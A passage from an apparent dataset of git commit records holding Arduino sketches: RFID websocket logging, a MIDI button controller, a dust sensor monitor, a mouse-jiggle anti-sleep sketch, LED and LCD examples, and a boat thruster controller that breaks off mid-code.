ws.onEvent(onWsEvent);\n server.addHandler(&ws);\n\n\n\n server.addHandler(new SPIFFSEditor(http_username, http_password));\n\n server.serveStatic(\"\/\", SPIFFS, \"\/\").setDefaultFile(\"index.htm\");\n\n server.onNotFound(NotFound);\n\n server.begin();\n}\n\nvoid loop() {\n ArduinoOTA.handle();\n timeClient.update();\n rfidloop();\n}\n\nvoid rfidloop() {\n \/\/ Handle RFID operations\n if ( ! mfrc522.PICC_IsNewCardPresent()) { \/\/If a new PICC placed to RFID reader continue\n delay(50);\n return;\n }\n if ( ! mfrc522.PICC_ReadCardSerial()) { \/\/Since a PICC placed get Serial and continue\n delay(50);\n return;\n }\n \/\/ There are Mifare PICCs which have 4 byte or 7 byte UID\n \/\/ Support 7 byte PICCs\n mfrc522.PICC_DumpDetailsToSerial(&(mfrc522.uid)); \/\/dump some details about the card\n Serial.print(\"Unix Timestamp: \");\n Serial.println(timeClient.getEpochTime());\n byte readCard[7];\n Serial.print(\"Scanned PICC's UID: \");\n for (int i = 0; i < 7; i++) { \/\/\n readCard[i] = mfrc522.uid.uidByte[i];\n }\n sprintf(uidchar, \"%02x%02x%02x%02x%02x%02x%02x\", readCard[0], readCard[1], readCard[2], readCard[3], readCard[4], readCard[5], readCard[6]);\n Serial.println(uidchar);\n mfrc522.PICC_HaltA();\n char filename[26]; \/\/ Stores variable filename\n sprintf(filename, \"\\\"%s%s.txt\\\"\", dir, uidchar);\n Serial.println(filename);\n File f = SPIFFS.open(filename, \"r\");\n isKnown = 0;\n if (f) {\n Serial.println(\"This is a known PICC\");\n f.close(); \/\/ Found it close\n isKnown = 1;\n }\n\n\n\n\n \/\/Send data to Websocket\n sendDataWs();\n\n\n\n\n\n \/*\n \/\/ open file for writing\n File f = SPIFFS.open(\"\/latest.txt\", \"a\");\n if (!f) {\n Serial.println(\"file open failed\");\n }\n Serial.println(\" Writing to SPIFFS file\");\n f.print(timeClient.getEpochTime());\n f.print(\",\");\n for ( uint8_t i = 0; i < 4; i++) { \/\/\n f.print(readCard[i]);\n }\n f.println();\n f.close();\n *\/\n}\n\nvoid onWsEvent(AsyncWebSocket * server, AsyncWebSocketClient * client, AwsEventType type, void * arg, uint8_t *data, size_t len) {\n if (type == WS_EVT_CONNECT) {\n Serial.printf(\"ws[%s][%u] connect\\n\", server->url(), client->id());\n } \n else if (type == WS_EVT_DISCONNECT) {\n Serial.printf(\"ws[%s][%u] disconnect: %u\\n\", server->url(), client->id());\n } \n else if (type == WS_EVT_ERROR) {\n Serial.printf(\"ws[%s][%u] error(%u): %s\\n\", server->url(), client->id(), *((uint16_t*)arg), (char*)data);\n } \n else if (type == WS_EVT_PONG) {\n Serial.printf(\"ws[%s][%u] pong[%u]: %s\\n\", server->url(), client->id(), len, (len) ? (char*)data : \"\");\n } \n else if (type == WS_EVT_DATA) {\n AwsFrameInfo * info = (AwsFrameInfo*)arg;\n String msg = \"\";\n if (info->final && info->index == 0 && info->len == len) {\n \/\/the whole message is in a single frame and we got all of it's data\n Serial.printf(\"ws[%s][%u] %s-message[%llu]: \", server->url(), client->id(), (info->opcode == WS_TEXT) ? \"text\" : \"binary\", info->len);\n\n\n for (size_t i = 0; i < info->len; i++) {\n msg += (char) data[i];\n }\n\n Serial.printf(\"%s\\n\", msg.c_str());\n\n }\n }\n}\n\n\nvoid sendDataWs() {\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.createObject();\n root[\"epoch\"] = timeClient.getEpochTime();\n root[\"uid\"] = uidchar;\n root[\"known\"] = isKnown;\n size_t len = root.measureLength();\n AsyncWebSocketMessageBuffer * buffer = ws.makeBuffer(len); \/\/ creates a buffer (len + 1) for you.\n if (buffer) {\n root.printTo((char *)buffer->get(), len + 1);\n ws.textAll(buffer);\n }\n}\n\nvoid NotFound(AsyncWebServerRequest *request) {\n \/\/Handle Unknown Request\n request->send(404);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esprfid2.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"1d0a5719875b86bfdfcccd0ef93ac05aeeaa6076","subject":"Add firmware for 20-button pad\/CC controller.","message":"Add firmware for 20-button pad\/CC controller.\n","repos":"jessecrossen\/hautmidi,jessecrossen\/hautmidi,jessecrossen\/hautmidi,jessecrossen\/hautmidi","old_file":"buttonbar\/buttonbar.ino","new_file":"buttonbar\/buttonbar.ino","new_contents":"\/\/ pinout\n#define MUX_A 10\n#define MUX_B 11\n#define MUX_C 12\n#define MUX_COM1 14\n#define MUX_COM2 15\n#define MUX_COM3 16\n#define SWITCH_A_UP 2\n#define SWITCH_A_DN 3\n#define SWITCH_B_UP 0\n#define SWITCH_B_DN 1\n\/\/ number of buttons\n#define BUTTON_COUNT 20\n\/\/ MIDI params\n#define MIDI_CHANNEL 1\n\/\/ uncomment to enable serial debugging\n#define SERIAL_DEBUG 1\n\n#include <EEPROM.h>\n\n\/\/ milliseconds elapsed since the last integration\nelapsedMillis t;\n\/\/ accumulated button values\nuint32_t v[BUTTON_COUNT];\n\/\/ number of scans since the last integration\nuint32_t scan_count = 0;\n\/\/ calibration limits\ntypedef struct {\n uint16_t min;\n uint16_t max;\n} calibration;\ncalibration calibrations[BUTTON_COUNT];\nuint8_t calibrating = 0;\n\/\/ tuning offset for midi note output\nint32_t tune = 0;\n\/\/ volume levels for notes\ntypedef struct {\n uint8_t number;\n uint8_t volume;\n uint8_t last_volume;\n uint8_t playing;\n} note;\nnote notes[BUTTON_COUNT];\n\nvoid log_event(const char *name, int n1, int n2) {\n #ifdef SERIAL_DEBUG\n Serial.print(name);\n Serial.print(\" \");\n Serial.print(n1);\n Serial.print(\" \");\n Serial.println(n2);\n #endif\n}\n\nvoid scan() {\n for (int i = 0; i < 8; i++) {\n digitalWrite(MUX_C, (i >> 2) & 1);\n digitalWrite(MUX_B, (i >> 1) & 1);\n digitalWrite(MUX_A, i & 1);\n delayMicroseconds(1);\n v[i] += analogRead(MUX_COM1);\n v[i+8] += analogRead(MUX_COM2);\n if (i < BUTTON_COUNT - 16) v[i+16] += analogRead(MUX_COM3);\n }\n scan_count++;\n}\n\nvoid integrate() {\n for (int i = 0; i < BUTTON_COUNT; i++) {\n v[i] \/= scan_count;\n }\n scan_count = 1;\n}\n\nvoid calibrate() {\n int i, x;\n \/\/ initialize calibration ranges\n if (calibrating == 0) {\n for (i = 0; i < BUTTON_COUNT; i++) {\n calibrations[i].min = calibrations[i].max = v[i];\n }\n calibrating = 1;\n }\n \/\/ update calibration range limits\n for (i = 0; i < BUTTON_COUNT; i++) {\n x = v[i];\n if (x < calibrations[i].min) calibrations[i].min = x;\n if (x > calibrations[i].max) calibrations[i].max = x;\n }\n}\n\nvoid save_calibration() {\n uint32_t i, j, addr = 0;\n uint8_t *cal;\n for (i = 0; i < BUTTON_COUNT; i++) {\n cal = (uint8_t *)&calibrations[i];\n for (j = 0; j < sizeof(calibration); j++) {\n EEPROM.write(addr++, *(cal + j));\n }\n log_event(\"svc\", calibrations[i].min, calibrations[i].max);\n }\n}\n\nvoid load_calibration() {\n uint32_t i, j, addr = 0;\n uint8_t *cal;\n for (i = 0; i < BUTTON_COUNT; i++) {\n cal = (uint8_t *)&calibrations[i];\n for (j = 0; j < sizeof(calibration); j++) {\n *(cal + j) = EEPROM.read(addr++);\n }\n log_event(\"rdc\", calibrations[i].min, calibrations[i].max);\n }\n}\n\nvoid set_volumes() {\n int i, x, range, dead_zone;\n \/\/ range volumes against the calibration\n for (i = 0; i < BUTTON_COUNT; i++) {\n x = v[i] - calibrations[i].min;\n range = calibrations[i].max - calibrations[i].min;\n dead_zone = range >> 4;\n if (x < dead_zone) x = 0;\n range -= dead_zone;\n x = (x * 127) \/ range;\n if (x > 127) x = 127;\n notes[i].last_volume = notes[i].volume;\n notes[i].volume = x;\n }\n}\n\nvoid silence_note(int i) {\n if (notes[i].playing) {\n usbMIDI.sendPolyPressure(notes[i].number, 0, MIDI_CHANNEL);\n log_event(\" pp\", notes[i].number, 0);\n usbMIDI.sendNoteOff(notes[i].number, 0, MIDI_CHANNEL);\n log_event(\"off\", notes[i].number, 0);\n notes[i].playing = 0;\n }\n}\n\nvoid output_notes() {\n uint8_t number;\n for (int i = 0; i < BUTTON_COUNT; i++) {\n if (notes[i].volume > 0) {\n number = 60 + tune + i;\n if (number != notes[i].number) silence_note(i); \n if (! notes[i].playing) {\n notes[i].number = number;\n usbMIDI.sendNoteOn(notes[i].number, notes[i].volume, MIDI_CHANNEL);\n log_event(\" on\", notes[i].number, notes[i].volume);\n notes[i].playing = 1;\n }\n if (notes[i].volume != notes[i].last_volume) {\n usbMIDI.sendPolyPressure(notes[i].number, notes[i].volume, MIDI_CHANNEL);\n log_event(\" pp\", notes[i].number, notes[i].volume);\n }\n }\n else {\n silence_note(i);\n }\n }\n}\n\nvoid output_ccs() {\n for (int i = 0; i < BUTTON_COUNT; i++) {\n if (notes[i].volume != notes[i].last_volume) {\n usbMIDI.sendControlChange(i + 1, notes[i].volume, MIDI_CHANNEL);\n log_event(\" cc\", i + 1, notes[i].volume);\n }\n }\n}\n\nvoid silence_notes() {\n for (int i = 0; i < BUTTON_COUNT; i++) {\n silence_note(i);\n }\n}\n\nvoid setup() {\n analogReadResolution(12);\n pinMode(MUX_COM1, INPUT);\n pinMode(MUX_COM2, INPUT);\n pinMode(MUX_COM3, INPUT);\n pinMode(MUX_A, OUTPUT);\n pinMode(MUX_B, OUTPUT);\n pinMode(MUX_C, OUTPUT);\n pinMode(SWITCH_A_UP, INPUT_PULLUP);\n pinMode(SWITCH_A_DN, INPUT_PULLUP);\n pinMode(SWITCH_B_UP, INPUT_PULLUP);\n pinMode(SWITCH_B_DN, INPUT_PULLUP);\n delay(1000);\n load_calibration();\n}\n\nvoid loop() {\n while (t < 1) scan();\n t = 0;\n integrate();\n \/\/ select tuning offset\n if (! digitalRead(SWITCH_A_UP)) tune = 12;\n else if (! digitalRead(SWITCH_A_DN)) tune = -12;\n else tune = 0;\n \/\/ do actions by mode\n if (! digitalRead(SWITCH_B_DN)) {\n silence_notes();\n calibrate();\n }\n else {\n if (calibrating) {\n calibrating = 0;\n save_calibration();\n }\n set_volumes();\n if (! digitalRead(SWITCH_B_UP)) {\n silence_notes();\n output_ccs();\n }\n else {\n output_notes();\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buttonbar\/buttonbar.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"b597a3522f6948c049955efef831d9642d7e6632","subject":"added older file for reference","message":"added older file for reference\n","repos":"gunthercox\/salvius,gunthercox\/salvius","old_file":"arduino\/salviusRelayControl(old)\/salviusRelayControl.ino","new_file":"arduino\/salviusRelayControl(old)\/salviusRelayControl.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"30340cc16de8baf7bb5d751d5bab7513e8783ecc","subject":"Adjusted it so that the sketch is compatible with the EnableInterrupt library (eg, there is no \"arduinoPin\" variable in that library).","message":"Adjusted it so that the sketch is compatible with the EnableInterrupt\nlibrary (eg, there is no \"arduinoPin\" variable in that library).\n","repos":"nostalgiatune\/PinChangeInt,kaaLabs15\/PinChangeInt","old_file":"Examples\/PinChangeIntExample328\/PinChangeIntExample328.ino","new_file":"Examples\/PinChangeIntExample328\/PinChangeIntExample328.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kaaLabs15\/PinChangeInt.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b936a7342f979dfcd579ed69456f331ffbfe7599","subject":"Added watering length timer and earth humidity sensing","message":"Added watering length timer and earth humidity sensing","repos":"lesves\/GJK-Watering","old_file":"GJK-Watering.ino","new_file":"GJK-Watering.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lesves\/GJK-Watering.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ba2796fcc4827401c575cdad9a2825d9a38ee0a5","subject":"Create DTWIscanner example driectory","message":"Create DTWIscanner example driectory","repos":"majenkotech\/chipKIT-core,pontech\/chipKIT-core,adamwolf\/chipKIT-core,EmbeddedMan\/chipKIT-core,adamwolf\/chipKIT-core,pontech\/chipKIT-core,ricklon\/chipKIT-core,adamwolf\/chipKIT-core,chipKIT32\/chipkit-core,ricklon\/chipKIT-core,EmbeddedMan\/chipKIT-core,adamwolf\/chipKIT-core,adamwolf\/chipKIT-core,ricklon\/chipKIT-core,ricklon\/chipKIT-core,majenkotech\/chipKIT-core,majenkotech\/chipKIT-core,chipKIT32\/chipkit-core,majenkotech\/chipKIT-core,EmbeddedMan\/chipKIT-core,majenkotech\/chipKIT-core,majenkotech\/chipKIT-core,EmbeddedMan\/chipKIT-core,pontech\/chipKIT-core,EmbeddedMan\/chipKIT-core,EmbeddedMan\/chipKIT-core,pontech\/chipKIT-core,pontech\/chipKIT-core,ricklon\/chipKIT-core,adamwolf\/chipKIT-core,majenkotech\/chipKIT-core,EmbeddedMan\/chipKIT-core,chipKIT32\/chipkit-core,pontech\/chipKIT-core,ricklon\/chipKIT-core,adamwolf\/chipKIT-core,chipKIT32\/chipkit-core,chipKIT32\/chipkit-core,pontech\/chipKIT-core","old_file":"pic32\/libraries\/DTWI\/examples\/DTWIscanner\/DTWIscanner.ino","new_file":"pic32\/libraries\/DTWI\/examples\/DTWIscanner\/DTWIscanner.ino","new_contents":"\/\/placeholder to create that directory (what a stupid method)\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pic32\/libraries\/DTWI\/examples\/DTWIscanner\/DTWIscanner.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c29c22b1676b4474a263c3dd5e24f18b46eb6d54","subject":"examples not checked.. but should work ?!","message":"examples not checked.. but should work ?!\n","repos":"s-light\/slight_LiquidCrystalDummy","old_file":"examples\/slight_LiquidCristalDummy_minimal\/slight_LiquidCristalDummy_minimal.ino","new_file":"examples\/slight_LiquidCristalDummy_minimal\/slight_LiquidCristalDummy_minimal.ino","new_contents":"\/**************************************************************************************************\n\n\tLiquidCrystalDummy\n\t\tminimal example for LiquidCrystalDummy library\n\t\tdebugout on usbserial interface: 115200baud\n\n\thardware:\n\t\tBoard:\n\t\t\tArduino compatible\n\t\tLCD:\n\t\t\tLiquidCrystal compatible\n\n\tlibraries used:\n\t\t~ LiquidCristal\n\t\t\tarduino internal\n\t\t~ slight_LiquidCristalDummy\n\n\twritten by stefan krueger (s-light),\n\t\tgit@s-light.eu, http:\/\/s-light.eu, https:\/\/github.com\/s-light\/\n\n**************************************************************************************************\/\n\/**************************************************************************************************\n\tThe MIT License (MIT)\n\n\tCopyright (c) 2020 Stefan Kr\u00fcger\n\n\tPermission is hereby granted, free of charge, to any person obtaining a copy\n\tof this software and associated documentation files (the \"Software\"), to deal\n\tin the Software without restriction, including without limitation the rights\n\tto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\tcopies of the Software, and to permit persons to whom the Software is\n\tfurnished to do so, subject to the following conditions:\n\n\tThe above copyright notice and this permission notice shall be included in all\n\tcopies or substantial portions of the Software.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\tIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\tFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\tAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\tLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\tOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\tSOFTWARE.\n**************************************************************************************************\/\n\n#include <LiquidCrystal.h>\n#include <slight_LiquidCrystalDummy.h>\n\n\/\/ ------------------------------------------\n\/\/ Display\n\n\/\/ initialize the library with the numbers of the interface pins\n\/\/ LiquidCrystal lcd(7, 8, 9, 10, 11, 12);\nLiquidCrystal lcd_raw(7, 8, 9, 10, 11, 12);\n\n\/\/ ------------------------------------------\n\/\/ slight_LiquidCrystalDummy things\n\nLiquidCrystalDummy lcd(lcd_raw);\n\n\nvoid displayTime() {\n\n\t\/\/ first row\n\tuint8_t xPos = 0;\n\tuint8_t yPos = 0;\n\tlcd.setCursor(xPos, yPos);\n\txPos += lcd.print(F(\"Hello World :-)\"));\n\t\/\/ second row\n\tyPos = 1;\n\txPos = 0;\n\n\tlcd.setCursor(xPos, yPos);\n\txPos += lcd.print(\"H\");\n\n\tlcd.setCursor(xPos, yPos);\n\txPos += lcd.print(\"i\");\n\n\tlcd.setCursor(xPos, yPos);\n\txPos += lcd.print(\":\");\n\n\tlcd.setCursor(xPos, yPos);\n\txPos += lcd.print(millis()\/1000);\n\n\t\/\/ lcd.setCursor(16-3, yPos);\n\t\/\/ xPos += lcd.print(\";-)\");\n\t\/\/ xPos += lcd.print(\" \");\n}\n\n\nvoid displayUpdate() {\n\tdisplayTime();\n}\n\n\n\/\/ ------------------------------------------\n\/\/ setup\n\/\/ ------------------------------------------\nvoid setup() {\n \/\/ ------------------------------------------\n \/\/ init serial\n \/\/ wait for arduino IDE to release all serial ports after upload.\n delay(2000);\n Serial.begin(115200);\n delay(2000);\n Serial.println();\n\n \/\/ ------------------------------------------\n \/\/ print short welcome text\n Serial.println(F(\"slight_LiquidCrystalDummy__minimal.ino sketch.\"));\n Serial.println(F(\"minimal example for library usage.\"));\n\n \/\/ ------------------------------------------\n \/\/ start LCD\n\tSerial.println(F(\"setup Display:\")); {\n\t\t\/\/ set up the LCD's number of columns and rows:\n\t\tSerial.println(F(\" init to 2x16\"));\n\t\tlcd.begin(16, 2);\n\t\t\/\/ Print a message to the LCD.\n\t\tlcd.print(\"Test\");\n\t}\n\tSerial.println(F(\" finished.\"));\n\n \/\/ ------------------------------------------\n Serial.println(F(\"Loop:\"));\n}\n\n\n\/\/ ------------------------------------------\n\/\/ main loop\n\/\/ ------------------------------------------\nvoid loop() {\n displayUpdate();\n delay(1000);\n \/\/ nothing else to do here...\n}\n\n\n\/\/ ------------------------------------------\n\/\/ THE END :-)\n\/\/ ------------------------------------------\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/slight_LiquidCristalDummy_minimal\/slight_LiquidCristalDummy_minimal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17b08d1e278ce481009587794921d01f7c71f6fa","subject":"Code clean-up.","message":"Code clean-up.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"dc8df2acf60eede96cea5d4c12697e55a4b56e44","subject":"Adding GPIO example.","message":"Adding GPIO example.\n","repos":"sparkfun\/SparkFun_ESP8266_AT_Arduino_Library,sparkfun\/SparkFun_ESP8266_AT_Arduino_Library,efess\/SparkFun_ESP8266_AT_Arduino_Library,semiotproject\/SparkFun_ESP8266_AT_Arduino_Library","old_file":"examples\/ESP8266_GPIO_Blink\/ESP8266_GPIO_Blink.ino","new_file":"examples\/ESP8266_GPIO_Blink\/ESP8266_GPIO_Blink.ino","new_contents":"\/************************************************************\nESP8266_GPIO_Blink.h\nSparkFun ESP8266 AT library - GPIO Blink Demo\nJim Lindblom @ SparkFun Electronics\nOriginal Creation Date: July 16, 2015\nhttps:\/\/github.com\/sparkfun\/SparkFun_ESP8266_AT_Arduino_Library\n\nThis example uses the ESP8266 GPIO commands to control the\nESP8266's onboard LED, attached to pin 5.\n\nNote: Once pin 5 is set to a mode with pinMode, it will not \nshow the WiFi state. Resetting the ESP8266 with either\nesp8266.reset() or cycling power, will set the pin 5 LED back\nto a STAT indicator.\n\nThe ESP8266 WiFi Shield GPIO API includes:\n - esp8266.pinMode([pin], [mode])\n - esp8266.digitalWrite([pin], [state])\n - [state] esp8266.digitalRead([pin])\n\n[pin] can be any of 0, 2, 4, 5, 12, 13, 14, 15, 16 (XPD).\n[mode] can be INPUT, OUTPUT, or INPUT_PULLUP\n[state] can be HIGH or LOW\n\nDevelopment environment specifics:\n IDE: Arduino 1.6.5\n Hardware Platform: Arduino Uno\n ESP8266 WiFi Shield Version: 1.0\n\nThis code is released under the MIT license.\n\nDistributed as-is; no warranty is given.\n************************************************************\/\n\n#include <SoftwareSerial.h>\n#include <SparkFunESP8266WiFi.h>\n\nvoid setup() \n{\n Serial.begin(9600);\n \/\/ Initialize the ESP8266 shield, make sure it's present:\n while (esp8266.begin() != true)\n {\n Serial.print(\"Error connecting to ESP8266.\");\n delay(1000);\n }\n \/\/ Set pin 5 (STAT LED) to OUTPUT:\n esp8266.pinMode(5, OUTPUT);\n}\n\nvoid loop() \n{\n esp8266.digitalWrite(5, HIGH);\n delay(500);\n esp8266.digitalWrite(5, LOW);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266_GPIO_Blink\/ESP8266_GPIO_Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7595d9ca8d0104a97e2b61598106920f3ff8e7f2","subject":"initial commit","message":"initial commit\n","repos":"wordsforthewise\/shinyei-ppd42ns-arduino","old_file":"dust_monitor_1.0\/dust_monitor_1.0.ino","new_file":"dust_monitor_1.0\/dust_monitor_1.0.ino","new_contents":"\/* Grove - Dust Sensor Demo v1.0\n Interface to Shinyei Model PPD42NS Particle Sensor\n Program by Christopher Nafis \n Written April 2012\n \n http:\/\/www.seeedstudio.com\/depot\/grove-dust-sensor-p-1050.html\n http:\/\/www.sca-shinyei.com\/pdf\/PPD42NS.pdf\n \n JST Pin 1 (Black Wire) => Arduino GND\n JST Pin 3 (Red wire) => Arduino 5VDC\n JST Pin 4 (Yellow wire) => Arduino Digital Pin 8\n \nDylos Air Quality Chart - Small Count Reading (0.5 micron)+\n\n3000 + = VERY POOR\n1050-3000 = POOR\n300-1050 = FAIR\n150-300 = GOOD\n75-150 = VERY GOOD\n0-75 = EXCELLENT\n *\/\n\nint redpin = 9; \/\/ select the pin for the red LED\nint greenpin = 10 ;\/\/ select the pin for the green LED\nint bluepin = 11; \/\/ select the pin for the blue LED\n\n\nint pin = 8;\nunsigned long duration;\nunsigned long starttime;\nunsigned long sampletime_ms = 30000;\/\/sampe 30s ;\nunsigned long lowpulseoccupancy = 0;\nfloat ratio = 0;\nfloat concentration = 0;\nfloat smallConcentration = 0;\n\nvoid setup() {\n pinMode(redpin, OUTPUT);\n pinMode(bluepin, OUTPUT);\n pinMode(greenpin, OUTPUT);\n Serial.begin(9600);\n pinMode(8,INPUT);\n starttime = millis();\/\/get the current time;\n}\n\nvoid loop() {\n duration = pulseIn(pin, LOW);\n lowpulseoccupancy = lowpulseoccupancy+duration;\n\n if ((millis()-starttime) > sampletime_ms)\/\/if the sampel time == 30s\n {\n ratio = lowpulseoccupancy\/(sampletime_ms*10.0); \/\/ Integer percentage 0=>100\n concentration = 1.1*pow(ratio,3)-3.8*pow(ratio,2)+520*ratio+0.62; \/\/ using spec sheet curve\n smallConcentration = concentration*4;\n Serial.print(lowpulseoccupancy);\n Serial.print(\",\");\n Serial.print(ratio);\n Serial.print(\",\");\n Serial.print(concentration);\n Serial.print(\",\");\n Serial.println(smallConcentration);\/\/roughly multiply by 4 to get particles > 0.5 micron\n lowpulseoccupancy = 0;\n starttime = millis();\n\n if (smallConcentration > 3000.0) { \/\/ air quality is VERY POOR\n analogWrite(redpin, 255);\n analogWrite(greenpin, 0);\n analogWrite(bluepin, 0);\n Serial.println(\"very poor\");\n }\n else if (smallConcentration > 1050.0) { \/\/ air quality is POOR\n analogWrite(redpin, 255);\n analogWrite(greenpin, 255);\n analogWrite(bluepin, 0);\n Serial.println(\"poor\");\n }\n else if (smallConcentration > 300.0) { \/\/ air quality is FAIR\n analogWrite(redpin, 255);\n analogWrite(greenpin, 0);\n analogWrite(bluepin, 255);\n Serial.println(\"fair\");\n }\n else if (smallConcentration > 150.0) { \/\/ air quality is GOOD\n analogWrite(redpin, 0);\n analogWrite(greenpin, 255);\n analogWrite(bluepin, 255);\n Serial.println(\"good\");\n }\n else if (smallConcentration > 75.0) { \/\/ air quality is VERY GOOD\n analogWrite(redpin, 0);\n analogWrite(greenpin, 0);\n analogWrite(bluepin, 255);\n Serial.println(\"very good\");\n }\n else { \/\/ air quality is EXCELLENT (<75)\n analogWrite(redpin, 0);\n analogWrite(greenpin, 255);\n analogWrite(bluepin, 0);\n Serial.println(\"excellent\");\n }\n }\n \n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dust_monitor_1.0\/dust_monitor_1.0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fdf12b411ff8033687a401a7cb072481016c6678","subject":"insomnia: a prevent a computer from going to sleep tool","message":"insomnia: a prevent a computer from going to sleep tool\n","repos":"chbw\/sketchbook","old_file":"insomnia\/insomnia.ino","new_file":"insomnia\/insomnia.ino","new_contents":"\/\/ An Arduino Micro sketch which prevents a computer from going to sleep.\n\/\/ Christoph B. Wurzinger\n\nvoid setup(){\n Mouse.begin();\n}\n\nvoid loop(){\n \/\/ Move the cursor\n Mouse.move(1,0);\n delay(10);\n \/\/ Undo cursor movement\n Mouse.move(-1,0);\n \/\/ wait\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'insomnia\/insomnia.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e29449d07db16e72250234074bd6a9159ae1bdbb","subject":"Added debounce example","message":"Added debounce example","repos":"jrullan\/neotimer","old_file":"examples\/debounce\/debounce.ino","new_file":"examples\/debounce\/debounce.ino","new_contents":"#include <neotimer.h>\n\nNeotimer timer = Neotimer(1000);\nconst int Button_Pin = 8;\nconst int LED_Pin = 13;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(Button_Pin,INPUT);\n pinMode(LED_Pin, OUTPUT);\n\n timer.start();\n}\n\nvoid loop() {\n if(timer.debounce(digitalRead(Button_Pin))){\n Serial.println(\"Button pressed\"); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/debounce\/debounce.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"88111aa35c63dcdbde4a90c1155744bc4e7f248b","subject":"update autonomous","message":"update autonomous\n","repos":"vanttecmty\/RoboBoat_2017_Main,vanttecmty\/RoboBoat_2017_Main,vanttecmty\/RoboBoat_2017_Main,vanttecmty\/RoboBoat_2017_Main","old_file":"ArduinoFiles\/testing\/manualAutonomous2\/manualAutonomous2.ino","new_file":"ArduinoFiles\/testing\/manualAutonomous2\/manualAutonomous2.ino","new_contents":"#include <Servo.h>\n\n\/\/Receiver arduino pins\nconst int pin4 = 6;\nconst int pin2 = 3;\n\/\/const int pin3 = 3;\nconst int pin5 = 5;\nString inputString;\n\n\/\/Receiver channels\nfloat channel4;\nfloat channel2;\n\/\/float channel3;\nfloat channel5;\n\n\/\/Servos and thrusters \nServo servo;\n\/\/Servo servoLeft;\nServo thrusterRear;\n\/\/Servo thrusterRearLeft;\nServo thrusterFront;\n\/\/Servo thrusterFrontLeft;\n \nvoid setup() {\n \/\/Pin modes\n pinMode(pin4, INPUT);\n pinMode(pin2, INPUT);\n \/\/pinMode(pin3, INPUT);\n pinMode(pin5, INPUT);\n servo.attach(9);\n \/\/servoLeft.attach(7);\n thrusterRear.attach(10);\n \/\/thrusterRearLeft.attach(11);\n thrusterFront.attach(11);\n \/\/thrusterFrontLeft.attach(9);\n \/\/Stop thrusters\n thrusterRear.writeMicroseconds(1500);\n \/\/thrusterRearLeft.writeMicroseconds(1500);\n thrusterFront.writeMicroseconds(1500);\n \/\/thrusterFrontLeft.writeMicroseconds(1500);\n \/\/Driver setup\n delay(1000);\n Serial.begin(115200);\n}\n\nvoid read_values () {\n \/\/Read channel frequecies\n channel4 = pulseIn(pin4, HIGH);\n channel2 = pulseIn(pin2, HIGH);\n \/\/channel3 = pulseIn(pin3, HIGH);\n channel5 = pulseIn(pin5, HIGH);\n}\n\nvoid select(){\n \/\/Use channel 5 to select current mode\n if (channel5 > 1600){\n move_2();\n }\n else if (channel5 < 1400){\n power_Difference();\n }\n else{\n autonomous_Mode();\n }\n}\n\nvoid move_2 (){ \/\/Remote control movement\n if (channel4 > 1470 & channel4 < 1530){\n \/\/Servos at the middle\n servo.write(90);\n \/\/servoLeft.write(90);\n }\n else {\n \/\/Servo movement relation\n servo.write(map(channel4, 2000, 950, 0, 180));\n \/\/servoLeft.write(map(channel4, 2000, 950, 0, 180));\n }\n if (channel2 > 1470 & channel2 < 1530) {\n \/\/Range to stop thrusters\n thrusterFront.writeMicroseconds(1500);\n \/\/thrusterFrontLeft.writeMicroseconds(1500);\n 